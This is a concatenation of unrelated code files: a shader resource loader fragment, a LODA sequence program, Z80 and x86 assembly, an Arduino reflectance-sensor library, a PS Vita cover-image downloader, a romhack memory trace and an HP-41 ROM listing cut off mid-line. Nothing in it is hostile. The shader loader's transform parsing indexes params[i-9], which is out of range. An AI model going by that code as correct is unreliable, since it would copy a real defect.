(right=="false") { value = false; } else if (right.is_valid_float()) { //is number value = right.to_double(); } else if (right.is_valid_html_color()) { //is html color value = Color::html(right); } else { //attempt to parse a constructor int popenpos = right.find("("); if (popenpos==-1) { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Invalid constructor syntax: "+right); ERR_FAIL_V(RES()); } int pclosepos = right.find_last(")"); if (pclosepos==-1) { ERR_EXPLAIN(p_path+":"+itos(line)+": Invalid constructor parameter syntax: "+right); ERR_FAIL_V(RES()); } String type = right.substr(0,popenpos); String param = right.substr(popenpos+1,pclosepos-popenpos-1).strip_edges(); print_line("type: "+type+" param: "+param); if (type=="tex") { if (param=="") { value=RID(); } else { String path; if (param.is_abs_path()) path=param; else path=base_path+"/"+param; Ref<Texture> texture = ResourceLoader::load(path); if (!texture.is_valid()) { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Couldn't find icon at path: "+path); ERR_FAIL_V(RES()); } value=texture; } } else if (type=="vec3") { if (param=="") { value=Vector3(); } else { Vector<String> params = param.split(","); if (params.size()!=3) { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Invalid param count for vec3(): '"+right+"'."); ERR_FAIL_V(RES()); } Vector3 v; for(int i=0;i<3;i++) v[i]=params[i].to_double(); value=v; } } else if (type=="xform") { if (param=="") { value=Transform(); } else { Vector<String> params = param.split(","); if (params.size()!=12) { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Invalid param count for xform(): '"+right+"'."); ERR_FAIL_V(RES()); } Transform t; for(int i=0;i<9;i++) t.basis[i%3][i/3]=params[i].to_double(); for(int i=0;i<3;i++) t.origin[i]=params[i-9].to_double(); value=t; } } else { memdelete(f); ERR_EXPLAIN(p_path+":"+itos(line)+": Invalid constructor type: '"+type+"'."); ERR_FAIL_V(RES()); } } String left= l.substr(0,eqpos); // shader->set_param(left,value); } else if (mode==1) { vertex_code+=l; } else if (mode==2) { fragment_code+=l; } } shader->set_code(vertex_code,fragment_code); f->close(); memdelete(f); return shader; } void ResourceFormatLoaderShader::get_recognized_extensions(List<String> *p_extensions) const { p_extensions->push_back("shader"); } bool ResourceFormatLoaderShader::handles_type(const String& p_type) const { return p_type=="Shader"; } String ResourceFormatLoaderShader::get_resource_type(const String &p_path) const { if (p_path.extension().to_lower()=="shader") return "Shader"; return ""; }
; A168866: Number of reduced words of length n in Coxeter group on 45 generators S_i with relations (S_i)^2 = (S_i S_j)^20 = I. ; 1,45,1980,87120,3833280,168664320,7421230080,326534123520,14367501434880,632170063134720,27815482777927680,1223881242228817920,53850774658067988480,2369434084954991493120,104255099738019625697280 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 div $3,$2 mul $2,44 lpe mov $0,$2 div $0,44
; ; Sharp OZ family functions ; ; ported from the OZ-7xx SDK by by Alexander R. Pruss ; by Stefano Bodrato - Oct. 2003 ; ; ; gfx functions ; ; void ozgetfont(int font) ; ; ; ------ ; $Id: ozgetfont.asm,v 1.3 2016/06/28 14:48:17 dom Exp $ ; SECTION code_clib PUBLIC ozgetfont PUBLIC _ozgetfont EXTERN ScrCharSet ozgetfont: _ozgetfont: ld a,(ScrCharSet) ld l,a ld h,0 ret
/* QTRSensors.cpp - Arduino library for using Pololu QTR reflectance sensors and reflectance sensor arrays: QTR-1A, QTR-8A, QTR-1RC, and QTR-8RC. The object used will determine the type of the sensor (either QTR-xA or QTR-xRC). Then simply specify in the constructor which Arduino I/O pins are connected to a QTR sensor, and the read() method will obtain reflectance measurements for those sensors. Smaller sensor values correspond to higher reflectance (e.g. white) while larger sensor values correspond to lower reflectance (e.g. black or a void). * QTRSensorsRC should be used for QTR-1RC and QTR-8RC sensors. * QTRSensorsAnalog should be used for QTR-1A and QTR-8A sensors. */ /* * Written by Ben Schmidel et al., October 4, 2010. * Copyright (c) 2008-2012 Pololu Corporation. For more information, see * * http://www.pololu.com * http://forum.pololu.com * http://www.pololu.com/docs/0J19 * * You may freely modify and share this code, as long as you keep this * notice intact (including the two links above). Licensed under the * Creative Commons BY-SA 3.0 license: * * http://creativecommons.org/licenses/by-sa/3.0/ * * Disclaimer: To the extent permitted by law, Pololu provides this work * without any warranty. It might be defective, in which case you agree * to be responsible for all resulting costs and damages. */ #include <stdlib.h> #include "QTRSensors.h" #include <Arduino.h> // Base class data member initialization (called by derived class init()) void QTRSensors::init(unsigned char *pins, unsigned char numSensors, unsigned char emitterPin) { calibratedMinimumOn=0; calibratedMaximumOn=0; calibratedMinimumOff=0; calibratedMaximumOff=0; _lastValue=0; // assume initially that the line is left. if (numSensors > QTR_MAX_SENSORS) _numSensors = QTR_MAX_SENSORS; else _numSensors = numSensors; if (_pins == 0) { _pins = (unsigned char*)malloc(sizeof(unsigned char)*_numSensors); if (_pins == 0) return; } unsigned char i; for (i = 0; i < _numSensors; i++) { _pins[i] = pins[i]; } _emitterPin = emitterPin; } // Reads the sensor values into an array. There *MUST* be space // for as many values as there were sensors specified in the constructor. // Example usage: // unsigned int sensor_values[8]; // sensors.read(sensor_values); // The values returned are a measure of the reflectance in abstract units, // with higher values corresponding to lower reflectance (e.g. a black // surface or a void). void QTRSensors::read(unsigned int *sensor_values, unsigned char readMode) { unsigned int off_values[QTR_MAX_SENSORS]; unsigned char i; if(readMode == QTR_EMITTERS_ON || readMode == QTR_EMITTERS_ON_AND_OFF) emittersOn(); else emittersOff(); readPrivate(sensor_values); emittersOff(); if(readMode == QTR_EMITTERS_ON_AND_OFF) { readPrivate(off_values); for(i=0;i<_numSensors;i++) { sensor_values[i] += _maxValue - off_values[i]; } } } // Turn the IR LEDs off and on. This is mainly for use by the // read method, and calling these functions before or // after the reading the sensors will have no effect on the // readings, but you may wish to use these for testing purposes. void QTRSensors::emittersOff() { if (_emitterPin == QTR_NO_EMITTER_PIN) return; pinMode(_emitterPin, OUTPUT); digitalWrite(_emitterPin, LOW); delayMicroseconds(200); } void QTRSensors::emittersOn() { if (_emitterPin == QTR_NO_EMITTER_PIN) return; pinMode(_emitterPin, OUTPUT); digitalWrite(_emitterPin, HIGH); delayMicroseconds(200); } // Resets the calibration. void QTRSensors::resetCalibration() { unsigned char i; for(i=0;i<_numSensors;i++) { if(calibratedMinimumOn) calibratedMinimumOn[i] = _maxValue; if(calibratedMinimumOff) calibratedMinimumOff[i] = _maxValue; if(calibratedMaximumOn) calibratedMaximumOn[i] = 0; if(calibratedMaximumOff) calibratedMaximumOff[i] = 0; } } // Reads the sensors 10 times and uses the results for // calibration. The sensor values are not returned; instead, the // maximum and minimum values found over time are stored internally // and used for the readCalibrated() method. void QTRSensors::calibrate(unsigned char readMode) { if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_ON) { calibrateOnOrOff(&calibratedMinimumOn, &calibratedMaximumOn, QTR_EMITTERS_ON); } if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_OFF) { calibrateOnOrOff(&calibratedMinimumOff, &calibratedMaximumOff, QTR_EMITTERS_OFF); } } void QTRSensors::calibrateOnOrOff(unsigned int **calibratedMinimum, unsigned int **calibratedMaximum, unsigned char readMode) { int i; unsigned int sensor_values[16]; unsigned int max_sensor_values[16]; unsigned int min_sensor_values[16]; // Allocate the arrays if necessary. if(*calibratedMaximum == 0) { *calibratedMaximum = (unsigned int*)malloc(sizeof(unsigned int)*_numSensors); // If the malloc failed, don't continue. if(*calibratedMaximum == 0) return; // Initialize the max and min calibrated values to values that // will cause the first reading to update them. for(i=0;i<_numSensors;i++) (*calibratedMaximum)[i] = 0; } if(*calibratedMinimum == 0) { *calibratedMinimum = (unsigned int*)malloc(sizeof(unsigned int)*_numSensors); // If the malloc failed, don't continue. if(*calibratedMinimum == 0) return; for(i=0;i<_numSensors;i++) (*calibratedMinimum)[i] = _maxValue; } int j; for(j=0;j<10;j++) { read(sensor_values,readMode); for(i=0;i<_numSensors;i++) { // set the max we found THIS time if(j == 0 || max_sensor_values[i] < sensor_values[i]) max_sensor_values[i] = sensor_values[i]; // set the min we found THIS time if(j == 0 || min_sensor_values[i] > sensor_values[i]) min_sensor_values[i] = sensor_values[i]; } } // record the min and max calibration values for(i=0;i<_numSensors;i++) { if(min_sensor_values[i] > (*calibratedMaximum)[i]) (*calibratedMaximum)[i] = min_sensor_values[i]; if(max_sensor_values[i] < (*calibratedMinimum)[i]) (*calibratedMinimum)[i] = max_sensor_values[i]; } } // Returns values calibrated to a value between 0 and 1000, where // 0 corresponds to the minimum value read by calibrate() and 1000 // corresponds to the maximum value. Calibration values are // stored separately for each sensor, so that differences in the // sensors are accounted for automatically. void QTRSensors::readCalibrated(unsigned int *sensor_values, unsigned char readMode) { int i; // if not calibrated, do nothing if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_OFF) if(!calibratedMinimumOff || !calibratedMaximumOff) return; if(readMode == QTR_EMITTERS_ON_AND_OFF || readMode == QTR_EMITTERS_ON) if(!calibratedMinimumOn || !calibratedMaximumOn) return; // read the needed values read(sensor_values,readMode); for(i=0;i<_numSensors;i++) { signed int calmin,calmax; signed int denominator; // find the correct calibration if(readMode == QTR_EMITTERS_ON) { calmax = calibratedMaximumOn[i]; calmin = calibratedMinimumOn[i]; } else if(readMode == QTR_EMITTERS_OFF) { calmax = calibratedMaximumOff[i]; calmin = calibratedMinimumOff[i]; } else // QTR_EMITTERS_ON_AND_OFF { if(calibratedMinimumOff[i] < calibratedMinimumOn[i]) // no meaningful signal calmin = _maxValue; else calmin = calibratedMinimumOn[i] + _maxValue - calibratedMinimumOff[i]; // this won't go past _maxValue if(calibratedMaximumOff[i] < calibratedMaximumOn[i]) // no meaningful signal calmax = _maxValue; else calmax = calibratedMaximumOn[i] + _maxValue - calibratedMaximumOff[i]; // this won't go past _maxValue } denominator = calmax - calmin; signed int x = 0; if(denominator != 0) x = (((signed long)constrain(sensor_values[i], calmin, calmax)) - calmin) * 1000 / denominator; if(x < 0) x = 0; else if(x > 1000) x = 1000; sensor_values[i] = x; } } // Operates the same as read calibrated, but also returns an // estimated position of the robot with respect to a line. The // estimate is made using a weighted average of the sensor indices // multiplied by 1000, so that a return value of 0 indicates that // the line is directly below sensor 0, a return value of 1000 // indicates that the line is directly below sensor 1, 2000 // indicates that it's below sensor 2000, etc. Intermediate // values indicate that the line is between two sensors. The // formula is: // // 0*value0 + 1000*value1 + 2000*value2 + ... // -------------------------------------------- // value0 + value1 + value2 + ... // // By default, this function assumes a dark line (high values) // surrounded by white (low values). If your line is light on // black, set the optional second argument white_line to true. In // this case, each sensor value will be replaced by (1000-value) // before the averaging. int QTRSensors::readLine(unsigned int *sensor_values, unsigned char readMode, unsigned char white_line) { unsigned char i, on_line = 0; unsigned long avg; // this is for the weighted total, which is long // before division unsigned int sum; // this is for the denominator which is <= 64000 readCalibrated(sensor_values, readMode); avg = 0; sum = 0; for(i=0;i<_numSensors;i++) { int value = sensor_values[i]; if(white_line) value = 1000-value; // keep track of whether we see the line at all if(value > 200) { on_line = 1; } // only average in values that are above a noise threshold if(value > 50) { avg += (long)(value) * (i * 1000); sum += value; } } if(!on_line) { // If it last read to the left of center, return 0. if(_lastValue < (_numSensors-1)*1000/2) return 0; // If it last read to the right of center, return the max. else return (_numSensors-1)*1000; } _lastValue = avg/sum; return _lastValue; } // Derived RC class constructors QTRSensorsRC::QTRSensorsRC() { calibratedMinimumOn = 0; calibratedMaximumOn = 0; calibratedMinimumOff = 0; calibratedMaximumOff = 0; _pins = 0; } QTRSensorsRC::QTRSensorsRC(unsigned char* pins, unsigned char numSensors, unsigned int timeout, unsigned char emitterPin) { calibratedMinimumOn = 0; calibratedMaximumOn = 0; calibratedMinimumOff = 0; calibratedMaximumOff = 0; _pins = 0; init(pins, numSensors, timeout, emitterPin); } // The array 'pins' contains the Arduino pin number for each sensor. // 'numSensors' specifies the length of the 'pins' array (i.e. the // number of QTR-RC sensors you are using). numSensors must be // no greater than 16. // 'timeout' specifies the length of time in microseconds beyond // which you consider the sensor reading completely black. That is to say, // if the pulse length for a pin exceeds 'timeout', pulse timing will stop // and the reading for that pin will be considered full black. // It is recommended that you set timeout to be between 1000 and // 3000 us, depending on things like the height of your sensors and // ambient lighting. Using timeout allows you to shorten the // duration of a sensor-reading cycle while still maintaining // useful analog measurements of reflectance // 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC // modules. If you are using a 1RC (i.e. if there is no emitter pin), // or if you just want the emitters on all the time and don't want to // use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). void QTRSensorsRC::init(unsigned char* pins, unsigned char numSensors, unsigned int timeout, unsigned char emitterPin) { QTRSensors::init(pins, numSensors, emitterPin); _maxValue = timeout; } // Reads the sensor values into an array. There *MUST* be space // for as many values as there were sensors specified in the constructor. // Example usage: // unsigned int sensor_values[8]; // sensors.read(sensor_values); // ... // The values returned are in microseconds and range from 0 to // timeout (as specified in the constructor). void QTRSensorsRC::readPrivate(unsigned int *sensor_values) { unsigned char i; if (_pins == 0) return; for(i = 0; i < _numSensors; i++) { sensor_values[i] = _maxValue; pinMode(_pins[i], OUTPUT); // make sensor line an output digitalWrite(_pins[i], HIGH); // drive sensor line high } delayMicroseconds(10); // charge lines for 10 us for(i = 0; i < _numSensors; i++) { pinMode(_pins[i], INPUT); // make sensor line an input digitalWrite(_pins[i], LOW); // important: disable internal pull-up! } unsigned long startTime = micros(); while (micros() - startTime < _maxValue) { unsigned int time = micros() - startTime; for (i = 0; i < _numSensors; i++) { if (digitalRead(_pins[i]) == LOW && time < sensor_values[i]) sensor_values[i] = time; } } } // Derived Analog class constructors QTRSensorsAnalog::QTRSensorsAnalog() { calibratedMinimumOn = 0; calibratedMaximumOn = 0; calibratedMinimumOff = 0; calibratedMaximumOff = 0; _pins = 0; } QTRSensorsAnalog::QTRSensorsAnalog(unsigned char* pins, unsigned char numSensors, unsigned char numSamplesPerSensor, unsigned char emitterPin) { calibratedMinimumOn = 0; calibratedMaximumOn = 0; calibratedMinimumOff = 0; calibratedMaximumOff = 0; _pins = 0; init(pins, numSensors, numSamplesPerSensor, emitterPin); } // the array 'pins' contains the Arduino analog pin assignment for each // sensor. For example, if pins is {0, 1, 7}, sensor 1 is on // Arduino analog input 0, sensor 2 is on Arduino analog input 1, // and sensor 3 is on Arduino analog input 7. // 'numSensors' specifies the length of the 'analogPins' array (i.e. the // number of QTR-A sensors you are using). numSensors must be // no greater than 16. // 'numSamplesPerSensor' indicates the number of 10-bit analog samples // to average per channel (i.e. per sensor) for each reading. The total // number of analog-to-digital conversions performed will be equal to // numSensors*numSamplesPerSensor. Note that it takes about 100 us to // perform a single analog-to-digital conversion, so: // if numSamplesPerSensor is 4 and numSensors is 6, it will take // 4 * 6 * 100 us = ~2.5 ms to perform a full readLine(). // Increasing this parameter increases noise suppression at the cost of // sample rate. The recommended value is 4. // 'emitterPin' is the Arduino pin that controls the IR LEDs on the 8RC // modules. If you are using a 1RC (i.e. if there is no emitter pin), // or if you just want the emitters on all the time and don't want to // use an I/O pin to control it, use a value of 255 (QTR_NO_EMITTER_PIN). void QTRSensorsAnalog::init(unsigned char* pins, unsigned char numSensors, unsigned char numSamplesPerSensor, unsigned char emitterPin) { QTRSensors::init(pins, numSensors, emitterPin); _numSamplesPerSensor = numSamplesPerSensor; _maxValue = 1023; // this is the maximum returned by the A/D conversion } // Reads the sensor values into an array. There *MUST* be space // for as many values as there were sensors specified in the constructor. // Example usage: // unsigned int sensor_values[8]; // sensors.read(sensor_values); // The values returned are a measure of the reflectance in terms of a // 10-bit ADC average with higher values corresponding to lower // reflectance (e.g. a black surface or a void). void QTRSensorsAnalog::readPrivate(unsigned int *sensor_values) { unsigned char i, j; if (_pins == 0) return; // reset the values for(i = 0; i < _numSensors; i++) sensor_values[i] = 0; for (j = 0; j < _numSamplesPerSensor; j++) { for (i = 0; i < _numSensors; i++) { sensor_values[i] += analogRead(_pins[i]); // add the conversion result } } // get the rounded average of the readings for each sensor for (i = 0; i < _numSensors; i++) sensor_values[i] = (sensor_values[i] + (_numSamplesPerSensor >> 1)) / _numSamplesPerSensor; } // A simple loop over the sensors and their midpoints to determine // whether or not a sensor is high, returns the count of high sensors int QTRSensors::numSensorsHigh(unsigned int *sensor_values, unsigned char readMode, unsigned char white_line) { // Get the calibrated values readCalibrated(sensor_values, readMode); // Loop through and determine which see a high value char highCount = 0; for(int i = 0; i < _numSensors; i++) { // Get the value for sensor i, invert if white line int value = sensor_values[i]; if(white_line) { value = 1000 - value; } // Simple binary result based on calibrated midpoint which will be 500 if(value >= 500) { highCount++; } } return highCount; } // the destructor frees up allocated memory QTRSensors::~QTRSensors() { if (_pins) free(_pins); if(calibratedMaximumOn) free(calibratedMaximumOn); if(calibratedMaximumOff) free(calibratedMaximumOff); if(calibratedMinimumOn) free(calibratedMinimumOn); if(calibratedMinimumOff) free(calibratedMinimumOff); }
#include "imagefetcher.hpp" #include "db.hpp" #include "pkgi.hpp" #include "file.hpp" #include "vitahttp.hpp" #include <fmt/format.h> #include <mutex> #include <optional> std::string get_image_url(DbItem* item) { std::string country_abbv = "USA"; std::string language = "en"; switch (pkgi_get_region(item->titleid)) { case RegionASA: { language = "zh"; country_abbv = "HK"; const std::string region = item->content.substr(0, 6); if (item->name.find("CHN") != std::string::npos) { country_abbv = "CN"; } else if (region.compare("HP0507") == 0) { language = "ko"; country_abbv = "KR"; } else if (region.compare("HP2005")) { language = "en"; } } break; case RegionJPN: country_abbv = "JP"; language = "ja"; break; case RegionEUR: country_abbv = "GB"; break; default: country_abbv = "US"; } return fmt::format( "https://store.playstation.com/store/api/chihiro/" "00_09_000/container/{}/{}/19/{}/{}/image?w=248&h=248", country_abbv, language, item->content, pkgi_time_msec()); } ImageFetcher::ImageFetcher(DbItem* item) : _mutex("image_fetcher_mutex") , _path(fmt::format("{}pkgj/cover/{}.jpg", item->partition, item->titleid)) , _url(get_image_url(item)) , _texture(nullptr) , _thread("image_fetcher", [this] { do_request(); }) { auto path = fmt::format("{}pkgj/cover", item->partition); pkgi_mkdirs(path.c_str()); } ImageFetcher::~ImageFetcher() { Http* http; { std::lock_guard<Mutex> lock(_mutex); _abort = true; http = _http.get(); } if (http) http->abort(); _thread.join(); } vita2d_texture* ImageFetcher::get_texture() { std::lock_guard<Mutex> lock(_mutex); return _texture; } std::optional<std::vector<uint8_t>> download_data( Http* http, const std::string& url) { std::vector<uint8_t> data; http->start(url, 0); if (http->get_status() == 404) return std::nullopt; size_t pos = 0; while (true) { if (pos == data.size()) data.resize(pos + 4096); const auto read = http->read(data.data() + pos, data.size() - pos); if (read == 0) break; pos += read; } data.resize(pos); return data; } void ImageFetcher::do_request() { try { if (pkgi_file_exists(_path.c_str())) { std::lock_guard<Mutex> lock(_mutex); _texture = vita2d_load_JPEG_file(_path.c_str()); if (_texture) return; } { std::lock_guard<Mutex> lock(_mutex); if (_abort) return; _http = std::make_unique<VitaHttp>(); } const auto image = download_data(_http.get(), _url); { std::lock_guard<Mutex> lock(_mutex); if (image && !image->empty()) _texture = vita2d_load_JPEG_buffer(image->data(), image->size()); _http = nullptr; } if (image && !image->empty()) { auto image_file = pkgi_create(_path.c_str()); pkgi_write(image_file, image->data(), image->size()); pkgi_close(image_file); } } catch (const std::exception& e) { LOGF("Failed to fetch patch info: {}", e.what()); std::lock_guard<Mutex> lock(_mutex); _http = nullptr; } }
data SEGMENT n1 DB 08h data ENDS code SEGMENT assume CS:code, DS:data start: MOV AX,data MOV DS,AX MOV CX,05h MOV AL,n1 l1: DEC AL LOOP l1 ADD AL,30h ; decimal to ascii MOV DL,AL MOV AH,02h ; character output INT 21h MOV AH,4ch ;exit INT 21h code ENDS END start
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 016A22 move.w ($6e,A6), (A4)+ [base+6E90] 016A26 move.w ($6c,A6), (A4)+ [base+6E92] 016BD2 move.w ($6e,A6), (A4)+ [123p+ 6A, base+6DE0, base+6DF0, base+6E00, base+6E10, base+6E30, base+6E50, base+6E70, base+6E90, base+6EA0, base+6EB0, base+6EC0, base+6ED0, enemy+6A] 016BD6 move.w ($6c,A6), (A4)+ [123p+ 6E, base+6DE2, base+6DF2, base+6E02, base+6E12, base+6E22, base+6E32, base+6E52, base+6E72, base+6E92, base+6EA2, base+6EC2, base+6ED2, enemy+6E] 016E56 move.w ($4,A0,D2.w), D0 [base+6BE0, base+6BF0, base+6C00, base+6C10, base+6C40, base+6C50, base+6C80, base+6C90, base+6CA0, base+6CC0, base+6CD0, base+6CE0, base+6D10, base+6D20, base+6D30, base+6D60, base+6D70, base+6DA0, base+6DB0, base+6DC0, base+6DE0, base+6DF0, base+6E00, base+6E10, base+6E30, base+6E40, base+6E50, base+6E80, base+6E90, base+6EA0, base+6EC0, base+6ED0] 016E5A move.b ($4,A3), ($4,A6) [base+6BE2, base+6BF2, base+6C02, base+6C12, base+6C42, base+6C52, base+6C82, base+6C92, base+6CA2, base+6CC2, base+6CD2, base+6CE2, base+6D02, base+6D12, base+6D22, base+6D32, base+6D62, base+6D72, base+6DB2, base+6DC2, base+6DE2, base+6DF2, base+6E02, base+6E22, base+6E32, base+6E42, base+6E52, base+6E82, base+6E92, base+6EA2, base+6EC2, base+6ED2] 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
;:LISTING GENERATED: 1/27/2018 2:43:43 by MLDL Manager version 1.70.0 by MLDL Manager version ;:OPEN FILE: Z:\home\geir\Dropbox\Cur\0_HP-41CL\2_AMASTRO\ALPHA.rom .con 0x081 ; .con 0x017 ; .con 0x005 ; .con 0x009 ; .NAME "VIEWA" VIEWA: .con 0x104 ; ST=0 8 .con 0x041 ; GSUBNC ARGOUT 2C10 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x201 ; GOLNC 0380 .con 0x00E ; .con 0x000 ; NOP .con 0x097 ; .con 0x005 ; .con 0x009 ; .con 0x016 ; .NAME "AVIEW" AVIEW: .con 0x178 ; C=REGN ( 5)M .con 0x0EE ; BCEX ALL .con 0x3C1 ; GSUBNC CLLCDE 2CF0 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x0A0 ; SELP .con 0x29C ; PT= 7 ; .con 0x379 ; GSB41C LB_A0AC A0AC ; GSUBNC 0FDE, address in same Quad RXQ LB_A0AC ; .con 0x03C ; ; .con 0x0AC ; .con 0x149 ; GSUBNC ENCP00 0952 ; HP41 SYSTEM ROM 0 .con 0x024 ; .con 0x1B8 ; C=REGN ( 6)N .con 0x0EE ; BCEX ALL .con 0x3D9 ; GSUBNC ENLCD 07F6 ; HP41 SYSTEM ROM 0 .con 0x01C ; .con 0x0A0 ; SELP .con 0x09C ; PT= 5 ; .con 0x379 ; GSB41C LB_A0AC A0AC ; GSUBNC 0FDE, address in same Quad RXQ LB_A0AC ; .con 0x03C ; ; .con 0x0AC ; .con 0x108 ; ST=1 8 .con 0x201 ; GSUBNC MSG105 1C80 ; HP41 SYSTEM ROM 1 .con 0x070 ; .con 0x3E0 ; RTN LB_A0AC: .con 0x0C6 ; C=B S&X .con 0x0E0 ; SELQ .con 0x21C ; PT= 2 .con 0x010 ; LC 0 .con 0x2E6 ; ?C#0 S&X ; .con 0x123 ; GONC +24 LB_A0D5 A0D5 gonc LB_A0D5 .con 0x106 ; A=C S&X .con 0x130 ; LDI 020 .con 0x020 ; .con 0x306 ; ?A<C S&X ; .con 0x02B ; GONC +05 LB_A0BB A0BB gonc LB_A0BB .con 0x130 ; LDI 100 .con 0x100 ; .con 0x206 ; C=A+C S&X ; .con 0x0D3 ; GONC +1A LB_A0D4 A0D4 gonc LB_A0D4 LB_A0BB: .con 0x130 ; LDI 040 .con 0x040 ; .con 0x306 ; ?A<C S&X ; .con 0x01B ; GONC +03 LB_A0C1 A0C1 gonc LB_A0C1 .con 0x0A6 ; ACEX S&X ; .con 0x0A3 ; GONC +14 LB_A0D4 A0D4 gonc LB_A0D4 LB_A0C1: .con 0x130 ; LDI 05B .con 0x05B ; .con 0x306 ; ?A<C S&X ; .con 0x02B ; GONC +05 LB_A0C9 A0C9 gonc LB_A0C9 .con 0x130 ; LDI 0E0 .con 0x0E0 ; .con 0x206 ; C=A+C S&X ; .con 0x063 ; GONC +0C LB_A0D4 A0D4 gonc LB_A0D4 LB_A0C9: .con 0x130 ; LDI 060 .con 0x060 ; .con 0x306 ; ?A<C S&X ; .con 0x02B ; GONC +05 LB_A0D1 A0D1 gonc LB_A0D1 .con 0x130 ; LDI 040 .con 0x040 ; .con 0x246 ; C=A-C S&X ; .con 0x023 ; GONC +04 LB_A0D4 A0D4 gonc LB_A0D4 LB_A0D1: .con 0x130 ; LDI 0C0 .con 0x0C0 ; .con 0x206 ; C=A+C S&X LB_A0D4: .con 0x3A8 ; REGN=C (14)d LB_A0D5: .con 0x0EE ; BCEX ALL .con 0x23C ; RCR 2 .con 0x0EE ; BCEX ALL .con 0x0A0 ; SELP .con 0x3D4 ; DECPT .con 0x394 ; ?PT= 0 ; .con 0x28B ; GONC -2F LB_A0AC A0AC gonc LB_A0AC .con 0x3E0 ; RTN .con 0x096 ; .con 0x005 ; .con 0x012 ; .NAME "AREV" AREV: .con 0x31C ; PT= 1 .con 0x1F8 ; C=REGN ( 7)O .con 0x10E ; A=C ALL .con 0x1B8 ; C=REGN ( 6)N .con 0x0EE ; BCEX ALL ; .con 0x379 ; GSB41C LB_A12A A12A ; GSUBNC 0FDE, address in same Quad RXQ LB_A12A ; .con 0x03C ; ; .con 0x12A ; .con 0x1E8 ; REGN=C ( 7)O .con 0x0EE ; BCEX ALL .con 0x1A8 ; REGN=C ( 6)N .con 0x238 ; C=REGN ( 8)P .con 0x10E ; A=C ALL .con 0x178 ; C=REGN ( 5)M .con 0x0EE ; BCEX ALL ; .con 0x379 ; GSB41C LB_A12A A12A ; GSUBNC 0FDE, address in same Quad RXQ LB_A12A ; .con 0x03C ; ; .con 0x12A ; .con 0x228 ; REGN=C ( 8)P .con 0x0EE ; BCEX ALL .con 0x29C ; PT= 7 .con 0x04A ; C=0 R<- .con 0x168 ; REGN=C ( 5)M LB_A0F8: .con 0x178 ; C=REGN ( 5)M .con 0x2EE ; ?C#0 ALL ; .con 0x06F ; GOC +0D LB_A107 A107 goc LB_A107 .con 0x1B8 ; C=REGN ( 6)N .con 0x168 ; REGN=C ( 5)M .con 0x1F8 ; C=REGN ( 7)O .con 0x1A8 ; REGN=C ( 6)N .con 0x238 ; C=REGN ( 8)P .con 0x1E8 ; REGN=C ( 7)O .con 0x04E ; C=0 ALL .con 0x228 ; REGN=C ( 8)P .con 0x3D4 ; DECPT .con 0x014 ; ?PT= 3 ; .con 0x39B ; GONC -0D LB_A0F8 A0F8 gonc LB_A0F8 .con 0x3E0 ; RTN LB_A107: .con 0x31C ; PT= 1 .con 0x01E ; A=0 MS .con 0x2EA ; ?C#0 R<- .con 0x360 ; RTNC LB_A10B: .con 0x23C ; RCR 2 .con 0x17E ; A=A+1 MS .con 0x2EA ; ?C#0 R<- ; .con 0x3EB ; GONC -03 LB_A10B A10B gonc LB_A10B .con 0x1BE ; A=A-1 MS .con 0x09E ; B=A MS ; .con 0x01B ; GONC +03 LB_A114 A114 gonc LB_A114 LB_A112: .con 0x3DC ; INCPT .con 0x3DC ; INCPT LB_A114: .con 0x1BE ; A=A-1 MS ; .con 0x3EB ; GONC -03 LB_A112 A112 gonc LB_A112 .con 0x02A ; B=0 R<- .con 0x0DE ; C=B MS .con 0x130 ; LDI 004 .con 0x004 ; .con 0x106 ; A=C S&X .con 0x1E6 ; C=C+C S&X LB_A11C: .con 0x11E ; A=C MS .con 0x158 ; M=C .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T .con 0x0EA ; 